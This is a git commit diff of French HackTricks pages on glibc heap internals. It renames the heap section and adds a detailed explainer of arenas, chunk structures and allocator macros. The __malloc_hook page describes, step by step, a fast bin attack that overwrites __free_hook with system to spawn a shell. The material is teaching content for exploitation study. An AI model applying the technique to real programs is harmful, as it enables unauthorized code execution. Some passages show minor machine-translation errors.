Translated ['binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc

This commit is contained in:
Translator 2024-06-16 09:02:06 +00:00
parent 44cda34f7a
commit f12668b686
28 changed files with 5274 additions and 48 deletions

View file

@ -722,31 +722,31 @@
* [Format Strings](binary-exploitation/format-strings/README.md)
* [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
* [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
* [Heap](binary-exploitation/heap/README.md)
* [Bins & Memory Allocations](binary-exploitation/heap/bins-and-memory-allocations.md)
* [Heap Memory Functions](binary-exploitation/heap/heap-memory-functions/README.md)
* [free](binary-exploitation/heap/heap-memory-functions/free.md)
* [malloc & sysmalloc](binary-exploitation/heap/heap-memory-functions/malloc-and-sysmalloc.md)
* [unlink](binary-exploitation/heap/heap-memory-functions/unlink.md)
* [Heap Functions Security Checks](binary-exploitation/heap/heap-memory-functions/heap-functions-security-checks.md)
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
* [Double Free](binary-exploitation/heap/double-free.md)
* [Overwriting a freed chunk](binary-exploitation/heap/overwriting-a-freed-chunk.md)
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
* [Fast Bin Attack](binary-exploitation/heap/fast-bin-attack.md)
* [Unsorted Bin Attack](binary-exploitation/heap/unsorted-bin-attack.md)
* [Large Bin Attack](binary-exploitation/heap/large-bin-attack.md)
* [Tcache Bin Attack](binary-exploitation/heap/tcache-bin-attack.md)
* [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
* [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
* [House of Lore | Small bin Attack](binary-exploitation/heap/house-of-lore.md)
* [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
* [House of Force](binary-exploitation/heap/house-of-force.md)
* [House of Orange](binary-exploitation/heap/house-of-orange.md)
* [House of Rabbit](binary-exploitation/heap/house-of-rabbit.md)
* [House of Roman](binary-exploitation/heap/house-of-roman.md)
* [Libc Heap](binary-exploitation/libc-heap/README.md)
* [Bins & Memory Allocations](binary-exploitation/libc-heap/bins-and-memory-allocations.md)
* [Heap Memory Functions](binary-exploitation/libc-heap/heap-memory-functions/README.md)
* [free](binary-exploitation/libc-heap/heap-memory-functions/free.md)
* [malloc & sysmalloc](binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md)
* [unlink](binary-exploitation/libc-heap/heap-memory-functions/unlink.md)
* [Heap Functions Security Checks](binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md)
* [Use After Free](binary-exploitation/libc-heap/use-after-free/README.md)
* [First Fit](binary-exploitation/libc-heap/use-after-free/first-fit.md)
* [Double Free](binary-exploitation/libc-heap/double-free.md)
* [Overwriting a freed chunk](binary-exploitation/libc-heap/overwriting-a-freed-chunk.md)
* [Heap Overflow](binary-exploitation/libc-heap/heap-overflow.md)
* [Unlink Attack](binary-exploitation/libc-heap/unlink-attack.md)
* [Fast Bin Attack](binary-exploitation/libc-heap/fast-bin-attack.md)
* [Unsorted Bin Attack](binary-exploitation/libc-heap/unsorted-bin-attack.md)
* [Large Bin Attack](binary-exploitation/libc-heap/large-bin-attack.md)
* [Tcache Bin Attack](binary-exploitation/libc-heap/tcache-bin-attack.md)
* [Off by one overflow](binary-exploitation/libc-heap/off-by-one-overflow.md)
* [House of Spirit](binary-exploitation/libc-heap/house-of-spirit.md)
* [House of Lore | Small bin Attack](binary-exploitation/libc-heap/house-of-lore.md)
* [House of Einherjar](binary-exploitation/libc-heap/house-of-einherjar.md)
* [House of Force](binary-exploitation/libc-heap/house-of-force.md)
* [House of Orange](binary-exploitation/libc-heap/house-of-orange.md)
* [House of Rabbit](binary-exploitation/libc-heap/house-of-rabbit.md)
* [House of Roman](binary-exploitation/libc-heap/house-of-roman.md)
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
* [Ret2plt](binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md)

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
## **Malloc Hook**
Comme vous pouvez le voir sur le [site officiel de GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** est un pointeur pointant vers l'**adresse d'une fonction qui sera appelée** chaque fois que `malloc()` est appelé **stockée dans la section des données de la bibliothèque libc**. Par conséquent, si cette adresse est écrasée par un **One Gadget** par exemple et que `malloc` est appelé, le **One Gadget sera appelé**.
Comme vous pouvez le voir sur le [site officiel de GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** est un pointeur pointant vers **l'adresse d'une fonction qui sera appelée** chaque fois que `malloc()` est appelé **stockée dans la section de données de la bibliothèque libc**. Par conséquent, si cette adresse est écrasée avec un **One Gadget** par exemple et que `malloc` est appelé, le **One Gadget sera appelé**.
Pour appeler malloc, il est possible d'attendre que le programme l'appelle ou en **appelant `printf("%10000$c")`** qui alloue trop d'octets, obligeant `libc` à appeler malloc pour les allouer dans le tas.
@ -34,8 +34,8 @@ Notez que les hooks sont **désactivés pour GLIBC >= 2.34**. Il existe d'autres
Cela a été abusé dans l'un des exemples de la page en abusant d'une attaque de fast bin après avoir abusé d'une attaque de unsorted bin :
{% content-ref url="../heap/unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](../heap/unsorted-bin-attack.md)
{% content-ref url="../libc-heap/unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](../libc-heap/unsorted-bin-attack.md)
{% endcontent-ref %}
Un bon truc (de [**ici**](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)) pour trouver l'emplacement du free hook si le binaire a des symboles est de **faire quelque chose comme** :
@ -63,7 +63,7 @@ Dans le point d'arrêt mentionné dans le code précédent, l'adresse du crochet
Maintenant, une **attaque de fast bin** est effectuée :
- Tout d'abord, il est découvert qu'il est possible de travailler avec des **morceaux rapides de taille 200** à l'emplacement de **`__free_hook`** :
```c
- ```c
gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@ -74,9 +74,9 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
```
- Si nous parvenons à obtenir un morceau rapide de taille 0x200 à cet emplacement, il sera possible de remplacer un pointeur de fonction qui sera exécuté.
- Pour cela, un nouveau morceau de taille `0xfc` est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette manière nous obtenons un pointeur vers un morceau libéré de taille `0xfc*2 = 0x1f8` dans le fast bin.
- Ensuite, la fonction edit est appelée dans ce morceau pour modifier l'adresse **`fd`** de ce fast bin pour pointer vers la fonction **`__free_hook`** précédente.
- Ensuite, un morceau de taille `0x1f8` est créé pour récupérer du fast bin le morceau inutile précédent, puis un autre morceau de taille `0x1f8` est créé pour obtenir un morceau de fast bin dans le **`__free_hook`** qui est écrasé avec l'adresse de la fonction **`system`**.
- Enfin, un morceau contenant la chaîne `/bin/sh\x00` est libéré en appelant la fonction delete, déclenchant la fonction **`__free_hook`** qui pointe vers system avec `/bin/sh\x00` comme paramètre.
- Ensuite, la fonction edit est appelée dans ce morceau pour modifier l'adresse **`fd`** de ce fast bin pour pointer vers la fonction précédente **`__free_hook`**.
- Ensuite, un morceau de taille `0x1f8` est créé pour récupérer du fast bin le morceau inutile précédent afin de créer un autre morceau de taille `0x1f8` pour obtenir un morceau de fast bin dans le **`__free_hook`** qui est écrasé avec l'adresse de la fonction **`system`**.
- Enfin, un morceau contenant la chaîne `/bin/sh\x00` est libéré en appelant la fonction delete, déclenchant la fonction **`__free_hook`** qui pointe vers le système avec `/bin/sh\x00` comme paramètre.
## Références

View file

@ -0,0 +1,500 @@
# Tas de mémoire
## Bases du tas
Le tas est essentiellement l'endroit où un programme pourra stocker des données lorsqu'il demande des données en appelant des fonctions telles que **`malloc`**, `calloc`... De plus, lorsque cette mémoire n'est plus nécessaire, elle est libérée en appelant la fonction **`free`**.
Comme le montre l'image ci-dessous, le tas se situe juste après le chargement du binaire en mémoire (vérifiez la section `[heap]`):
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
### Allocation de morceaux de base
Lorsqu'il est demandé de stocker des données dans le tas, un espace du tas lui est alloué. Cet espace appartiendra à un compartiment et seul les données demandées + l'espace des en-têtes de compartiment + le décalage de la taille minimale du compartiment seront réservés pour le morceau. Le but est de réserver autant de mémoire que nécessaire sans compliquer la recherche de l'emplacement de chaque morceau. Pour cela, les informations de métadonnées du morceau sont utilisées pour savoir où se trouve chaque morceau utilisé/libre.
Il existe différentes façons de réserver l'espace principalement en fonction du compartiment utilisé, mais une méthodologie générale est la suivante :
* Le programme commence par demander une certaine quantité de mémoire.
* Si dans la liste des morceaux il y en a un assez grand pour répondre à la demande, il sera utilisé.
* Cela peut même signifier que partie du morceau disponible sera utilisée pour cette demande et le reste sera ajouté à la liste des morceaux.
* S'il n'y a pas de morceau disponible dans la liste mais qu'il reste de l'espace dans la mémoire allouée du tas, le gestionnaire de tas crée un nouveau morceau.
* S'il n'y a pas assez d'espace de tas pour allouer le nouveau morceau, le gestionnaire de tas demande au noyau d'étendre la mémoire allouée au tas et utilise ensuite cette mémoire pour générer le nouveau morceau.
* Si tout échoue, `malloc` renvoie null.
Notez que si la mémoire demandée **dépasse un seuil**, **`mmap`** sera utilisé pour mapper la mémoire demandée.
## Arènes
Dans les applications **multithread**, le gestionnaire de tas doit prévenir les **conditions de concurrence** qui pourraient entraîner des plantages. Initialement, cela était fait en utilisant un **mutex global** pour garantir qu'un seul thread pouvait accéder au tas à la fois, mais cela causait des **problèmes de performance** en raison de l'engorgement induit par le mutex.
Pour remédier à cela, l'allocateur de tas ptmalloc2 a introduit des "arènes", où **chaque arène** agit comme un **tas séparé** avec ses **propres** structures de données et **mutex**, permettant à plusieurs threads d'effectuer des opérations de tas sans interférer les uns avec les autres, tant qu'ils utilisent des arènes différentes.
L'arène "principale" par défaut gère les opérations de tas pour les applications monofilament. Lorsque de **nouveaux threads** sont ajoutés, le gestionnaire de tas leur attribue des **arènes secondaires** pour réduire les conflits. Il tente d'abord d'attacher chaque nouveau thread à une arène inutilisée, en en créant de nouvelles si nécessaire, jusqu'à une limite de 2 fois le nombre de cœurs CPU pour les systèmes 32 bits et 8 fois pour les systèmes 64 bits. Une fois la limite atteinte, les **threads doivent partager des arènes**, entraînant des conflits potentiels.
Contrairement à l'arène principale, qui s'étend en utilisant l'appel système `brk`, les arènes secondaires créent des "sous-tas" en utilisant `mmap` et `mprotect` pour simuler le comportement du tas, permettant une flexibilité dans la gestion de la mémoire pour les opérations multithread.
### Sous-tas
Les sous-tas servent de réserves de mémoire pour les arènes secondaires dans les applications multithread, leur permettant de croître et de gérer leurs propres régions de tas séparément du tas principal. Voici comment les sous-tas diffèrent du tas initial et comment ils fonctionnent :
1. **Tas initial vs. Sous-tas** :
* Le tas initial se trouve directement après le binaire du programme en mémoire, et il s'étend en utilisant l'appel système `sbrk`.
* Les sous-tas, utilisés par les arènes secondaires, sont créés via `mmap`, un appel système qui mappe une région mémoire spécifiée.
2. **Réservation de mémoire avec `mmap`** :
* Lorsque le gestionnaire de tas crée un sous-tas, il réserve un grand bloc de mémoire via `mmap`. Cette réservation n'alloue pas immédiatement de mémoire ; elle désigne simplement une région que d'autres processus système ou allocations ne doivent pas utiliser.
* Par défaut, la taille réservée pour un sous-tas est de 1 Mo pour les processus 32 bits et de 64 Mo pour les processus 64 bits.
3. **Expansion progressive avec `mprotect`** :
* La région mémoire réservée est initialement marquée comme `PROT_NONE`, indiquant que le noyau n'a pas besoin d'allouer de mémoire physique à cet espace pour le moment.
* Pour "étendre" le sous-tas, le gestionnaire de tas utilise `mprotect` pour changer les autorisations de page de `PROT_NONE` à `PROT_READ | PROT_WRITE`, incitant le noyau à allouer de la mémoire physique aux adresses précédemment réservées. Cette approche étape par étape permet au sous-tas de s'étendre selon les besoins.
* Une fois que tout le sous-tas est épuisé, le gestionnaire de tas crée un nouveau sous-tas pour continuer l'allocation.
### heap\_info <a href="#heap_info" id="heap_info"></a>
Cette structure alloue des informations pertinentes sur le tas. De plus, la mémoire du tas peut ne pas être continue après plusieurs allocations, cette structure stockera également ces informations.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
### malloc\_state
**Chaque tas** (arène principale ou arènes d'autres threads) a une **structure `malloc_state`.**\
Il est important de noter que la **structure `malloc_state` de l'arène principale** est une **variable globale dans la libc** (donc située dans l'espace mémoire de la libc).\
Dans le cas des **structures `malloc_state`** des tas des threads, elles sont situées **à l'intérieur du "tas" du thread lui-même**.
Il y a quelques choses intéressantes à noter à partir de cette structure (voir le code C ci-dessous) :
* `__libc_lock_define (, mutex);` est là pour s'assurer que cette structure du tas est accédée par 1 thread à la fois
* Drapeaux :
* ```c
#define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* Le `mchunkptr bins[NBINS * 2 - 2];` contient des **pointeurs** vers les **premiers et derniers morceaux** des **bacs** petits, grands et non triés (le -2 est parce que l'index 0 n'est pas utilisé)
* Par conséquent, le **premier morceau** de ces bacs aura un **pointeur arrière vers cette structure** et le **dernier morceau** de ces bacs aura un **pointeur avant** vers cette structure. Ce qui signifie essentiellement que si vous pouvez **dévoiler ces adresses dans l'arène principale**, vous aurez un pointeur vers la structure dans la **libc**.
* Les structures `struct malloc_state *next;` et `struct malloc_state *next_free;` sont des listes chaînées d'arènes
* Le morceau `top` est le dernier "morceau", qui est essentiellement **tout l'espace restant du tas**. Une fois que le morceau `top` est "vide", le tas est complètement utilisé et il doit demander plus d'espace.
* Le morceau `last reminder` provient des cas où un morceau de taille exacte n'est pas disponible et donc un morceau plus grand est divisé, une partie restante du pointeur est placée ici.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
### malloc\_chunk
Cette structure représente un morceau particulier de mémoire. Les différents champs ont des significations différentes pour les morceaux alloués et non alloués.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
```
Comme commenté précédemment, ces chunks ont également des métadonnées, très bien représentées dans cette image :
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
Les métadonnées sont généralement 0x08B, indiquant la taille actuelle du chunk en utilisant les 3 derniers bits pour indiquer :
* `A` : Si 1, il provient d'un sous-heap, si 0, il est dans l'arène principale
* `M` : Si 1, ce chunk fait partie d'un espace alloué avec mmap et non d'un heap
* `P` : Si 1, le chunk précédent est en cours d'utilisation
Ensuite, l'espace pour les données utilisateur, et enfin 0x08B pour indiquer la taille du chunk précédent lorsque le chunk est disponible (ou pour stocker les données utilisateur lorsqu'il est alloué).
De plus, lorsque disponible, les données utilisateur sont également utilisées pour contenir certaines données :
* **`fd`** : Pointeur vers le chunk suivant
* **`bk`** : Pointeur vers le chunk précédent
* **`fd_nextsize`** : Pointeur vers le premier chunk dans la liste qui est plus petit que lui-même
* **`bk_nextsize`** : Pointeur vers le premier chunk dans la liste qui est plus grand que lui-même
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
{% hint style="info" %}
Notez comment aimer la liste de cette manière évite le besoin d'avoir un tableau où chaque chunk est enregistré individuellement.
{% endhint %}
### Pointeurs de Chunk
Lorsque malloc est utilisé, un pointeur vers le contenu qui peut être écrit est renvoyé (juste après les en-têtes), cependant, lors de la gestion des chunks, un pointeur vers le début des en-têtes (métadonnées) est nécessaire.\
Pour ces conversions, ces fonctions sont utilisées :
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
/* Convert a chunk address to a user mem pointer without correcting the tag. */
#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))
/* Convert a user mem pointer to a chunk address and extract the right tag. */
#define mem2chunk(mem) ((mchunkptr)tag_at (((char*)(mem) - CHUNK_HDR_SZ)))
/* The smallest possible chunk */
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### Alignement et taille minimale
Le pointeur vers le chunk et `0x0f` doivent être égaux à 0.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
// https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/i386/malloc-alignment.h
#define MALLOC_ALIGNMENT 16
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
/* Check if m has acceptable alignment */
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
if passed a literal constant. */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
static inline size_t
checked_request2size (size_t req) __nonnull (1)
{
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
return request2size (req);
}
```
### Obtenir les données du chunk et modifier les métadonnées
Ces fonctions fonctionnent en recevant un pointeur vers un chunk et sont utiles pour vérifier/définir les métadonnées :
* Vérifier les indicateurs du chunk
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
#define chunk_main_arena(p) (((p)->mchunk_size & NON_MAIN_ARENA) == 0)
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
* Tailles et pointeurs vers d'autres morceaux
```c
/*
Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/* Size of the chunk below P. Only valid if !prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
/* Set the size of the chunk below P. Only valid if !prev_inuse (P). */
#define set_prev_size(p, sz) ((p)->mchunk_prev_size = (sz))
/* Ptr to previous physical malloc_chunk. Only valid if !prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
* Insue bit
```c
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
* Définir l'en-tête et le pied de page (lorsque les numéros de chunk sont en cours d'utilisation)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
/* Set size/use field */
#define set_head(p, s) ((p)->mchunk_size = (s))
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
* Obtenir la taille des données réellement utilisables à l'intérieur du chunk
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for
dumped heap chunks. */
#define memsize(p) \
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
"memory tagging is not supported with large granule.");
static __always_inline void *
tag_new_usable (void *ptr)
{
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
}
```
## Exemples
### Exemple rapide de tas
Exemple rapide de tas provenant de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) mais en arm64 :
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(void)
{
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Placez un point d'arrêt à la fin de la fonction principale et découvrons où les informations ont été stockées :
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
Il est possible de voir que la chaîne panda a été stockée à `0xaaaaaaac12a0` (qui était l'adresse donnée en réponse par malloc à l'intérieur de `x0`). En vérifiant les 0x10 octets avant, il est possible de voir que le `0x0` représente que le **chunk précédent n'est pas utilisé** (longueur 0) et que la longueur de ce chunk est `0x21`.
Les espaces supplémentaires réservés (0x21-0x10=0x11) proviennent des **en-têtes ajoutés** (0x10) et 0x1 ne signifie pas qu'il a été réservé 0x21B mais les 3 derniers bits de la longueur de l'en-tête actuel ont des significations spéciales. Comme la longueur est toujours alignée sur 16 octets (sur les machines 64 bits), ces bits ne seront en réalité jamais utilisés par le nombre de longueur.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Exemple de multithreading
<details>
<summary>Multithread</summary>
```c
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>
void* threadFuncMalloc(void* arg) {
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
}
void* threadFuncNoMalloc(void* arg) {
printf("Hello from thread 2\n");
}
int main() {
pthread_t t1;
void* s;
int ret;
char* addr;
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before exit\n");
getchar();
return 0;
}
```
</details>
En déboguant l'exemple précédent, il est possible de voir qu'au début il n'y a qu'une seule arène :
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
Ensuite, après avoir appelé le premier thread, celui qui appelle malloc, une nouvelle arène est créée :
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
et à l'intérieur, on peut trouver quelques chunks :
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
## Bacs & Allocs/Libérations de Mémoire
Vérifiez quels sont les bacs et comment ils sont organisés, ainsi que la manière dont la mémoire est allouée et libérée dans :
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
## Contrôles de Sécurité des Fonctions de la Heap
Les fonctions impliquées dans la heap effectueront certaines vérifications avant d'effectuer leurs actions pour essayer de s'assurer que la heap n'a pas été corrompue :
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
{% endcontent-ref %}
## Références
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View file

@ -0,0 +1,620 @@
# Bins & Allocations Mémoire
<details>
